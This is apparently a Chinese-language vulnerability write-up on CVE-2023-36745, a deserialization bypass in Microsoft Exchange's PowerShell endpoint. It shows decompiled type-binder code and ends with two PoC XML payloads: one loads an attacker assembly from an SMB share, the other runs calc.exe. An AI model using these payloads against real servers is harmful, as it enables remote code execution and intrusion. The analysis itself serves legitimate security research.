前言
CVE-2023-36745是CVE-2022-41082的变体。
自从去年Trend Micro Zero Day Initiative发布CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND后,就陆续爆出Microsoft Exchange Server PowerShell端点的反序列化漏洞绕过,如CVE-2023-21707以及Hexacon 2023上chudyPB演示的CVE-2023-32031。
懒得写CVE-2023-21707和CVE-2023-32031了。
CVE-2023-36745
CVE-2023-36745是通过Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
这个类进行绕过的,Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
类的单参数构造函数会调用Assembly.LoadFrom
加载程序集。
1 2 3 4 5 6 7 8 9 10 11 |
public SharedTypeResolver(string assemblyLoadPath = null) { if (string.IsNullOrEmpty(assemblyLoadPath)) { assemblyLoadPath = ExchangeSetupContext.BinPath; } this.fusePaxosAsm = Assembly.LoadFrom(Path.Combine(assemblyLoadPath, "FUSE.Paxos.dll")); this.typeCache = new ConcurrentDictionary<string, Type>(); this.typeNameCache = new ConcurrentDictionary<string, string>(); this.typeNameSpaceCache = new ConcurrentDictionary<string, string>(); } |
而Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
的LoadType
方法会从当前应用程序上下文中的程序集中加载类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
public static Type LoadType(string assemblyName, string typeName, bool throwExceptionForMissingType, DeserializeLocation location, bool strictMode) { Type type = null; try { type = Type.GetType(string.Format("{0}, {1}", typeName, assemblyName)); } catch (TypeLoadException) { } catch (FileLoadException) { } if (type == null) { string shortName = assemblyName.Split(new char[] { ',' })[0]; try { type = Type.GetType(string.Format("{0}, {1}", typeName, shortName)); } catch (TypeLoadException) { } catch (FileLoadException) { } if (type == null) { Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); IEnumerable<Assembly> enumerable = assemblies.Where((Assembly x) => shortName == x.FullName.Split(new char[] { ',' })[0]); Assembly assembly = (enumerable.Any<Assembly>() ? enumerable.First<Assembly>() : null); try { if (assembly != null) { type = assembly.GetType(typeName); } } catch (TypeLoadException) { } catch (FileLoadException) { } if (type == null) { foreach (Assembly assembly2 in assemblies) { try { type = assembly2.GetType(typeName); if (type != null) { break; } } catch { } } if (type == null) { try { type = ChainedSerializationBinder.ParseAndLoadGenericType(assemblyName, typeName, location, strictMode); } catch { } } } } } if (type == null) { DeserializationTypeLogger.Singleton.Log(typeName, BlockReason.InDeny, location, strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); if (throwExceptionForMissingType) { throw new BlockedDeserializeTypeException(typeName + ", " + assemblyName, BlockReason.InDeny, location); } } return type; } |
那么先利用反序列化类型转换调用Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver
的单参数构造函数加载自定义程序集引入恶意类,再利用反序列化类型转换调用恶意类的单参数构造函数就可以实现RCE。
Starting with .NET Framework 4, the ability to execute code in assemblies loaded from remote locations is disabled by default, and the call to the
LoadFrom
method throws a FileLoadException.
从.NET Framework 4开始,Assembly.LoadFrom
就不支持从远程加载程序集了,但是好在还可以通过SMB共享加载其他机器上的程序集。
Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
在默认strictMode
下只允许反序列化白名单中的类,因此需要结合CVE-2023-21529
利用范型类Microsoft.Exchange.Data.MultiValuedProperty
绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
public override Type BindToType(string assemblyName, string typeName) { if (this.serializationOnly) { throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only. This instance cannot be used for deserialization."); } Type type = this.InternalBindToType(assemblyName, typeName); if (type != null) { string text; BlockReason blockReason = this.ValidateTypeToDeserialize(type, null, null, out text); this.EnforceBlockReason(blockReason, text); } else { BlockReason blockReason2 = this.EvaluateTypeStringAgainstDenyLists(typeName); this.EnforceBlockReason(blockReason2, typeName); } return type; } public BlockReason ValidateTypeToDeserialize(Type typeToDeserialize, ISet<string> additionalAllowedTypes, ISet<string> additionalAllowedGenerics, out string correctedTypeName) { ChainedSerializationBinder.IsTypeExplicitlyDenied(typeToDeserialize, this.location, out correctedTypeName); if (!this.IsTypeExplicitlyAllowed(typeToDeserialize, additionalAllowedTypes, additionalAllowedGenerics, out correctedTypeName)) { return BlockReason.NotInAllow; } return BlockReason.Allowed; } public bool IsTypeExplicitlyAllowed(Type typeToDeserialize, ISet<string> additionalAllowedTypes, ISet<string> additionalAllowedGenerics, out string correctedTypeName) { if (typeToDeserialize == null) { correctedTypeName = "<NULL>"; return true; } correctedTypeName = typeToDeserialize.FullName; if (typeToDeserialize.IsConstructedGenericType || typeToDeserialize.IsGenericTypeDefinition) { correctedTypeName = typeToDeserialize.GetGenericTypeDefinition().FullName; if (ChainedSerializationBinder.AlwaysAllowedGenerics.Contains(correctedTypeName) || (this.allowedGenericsForDeserialization != null && this.allowedGenericsForDeserialization.Contains(correctedTypeName)) || (additionalAllowedGenerics != null && additionalAllowedGenerics.Contains(correctedTypeName))) { return true; } } else if (ChainedSerializationBinder.AlwaysAllowedPrimitives.Contains(correctedTypeName) || (this.allowedTypesForDeserialization != null && this.allowedTypesForDeserialization.Contains(correctedTypeName)) || (additionalAllowedTypes != null && additionalAllowedTypes.Contains(correctedTypeName))) { return true; } return typeToDeserialize.IsArray || typeToDeserialize.IsEnum || typeToDeserialize.IsAbstract || typeToDeserialize.IsInterface; } public void EnforceBlockReason(BlockReason blockReason, string typeName) { try { switch (blockReason) { case BlockReason.Invalid: case BlockReason.InDeny: case BlockReason.InDenySurrogate: throw new BlockedDeserializeTypeException(typeName, blockReason, this.location); case BlockReason.NotInAllow: if (this.strictMode) { throw new BlockedDeserializeTypeException(typeName, blockReason, this.location); } break; } } finally { if (blockReason != BlockReason.Allowed) { DeserializationTypeLogger.Singleton.Log(typeName, blockReason, this.location, this.strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); } } } |
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<Obj RefId="13"> <MS> <S N="N">-Identity:</S> <Obj N="V" RefId="14"> <TN RefId="2"> <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T> <T>System.Object</T> </TN> <ToString>Object</ToString> <Props> <S N="Name">Type</S> <Obj N="TargetTypeForDeserialization"> <TN RefId="2"> <T>System.Exception</T> <T>System.Object</T> </TN> <MS> <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAADZAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbTWljcm9zb2Z0LkV4Y2hhbmdlLkR4U3RvcmUuQ29tbW9uLkR4U2VyaWFsaXphdGlvblV0aWwrU2hhcmVkVHlwZVJlc29sdmVyLCBNaWNyb3NvZnQuRXhjaGFuZ2UuRHhTdG9yZSwgVmVyc2lvbj0xNS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1XV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA> </MS> </Obj> </Props> <S>\\192.168.237.131\Shares\</S> </Obj> </MS> </Obj> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<Obj RefId="13"> <MS> <S N="N">-Identity:</S> <Obj N="V" RefId="14"> <TN RefId="2"> <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T> <T>System.Object</T> </TN> <ToString>Object</ToString> <Props> <S N="Name">Type</S> <Obj N="TargetTypeForDeserialization"> <TN RefId="2"> <T>System.Exception</T> <T>System.Object</T> </TN> <MS> <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAACFAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbRlVTRS5QYXhvcy5DbGFzczEsIEZVU0UuUGF4b3MsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsXV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA> </MS> </Obj> </Props> <S>calc.exe</S> </Obj> </MS> </Obj> |
.png)
.png)
调用堆栈:
.png)
.png)
Exp:CVE-2023-36745
原文始发于N1K0LA:Microsoft Exchange Server CVE-2023-36745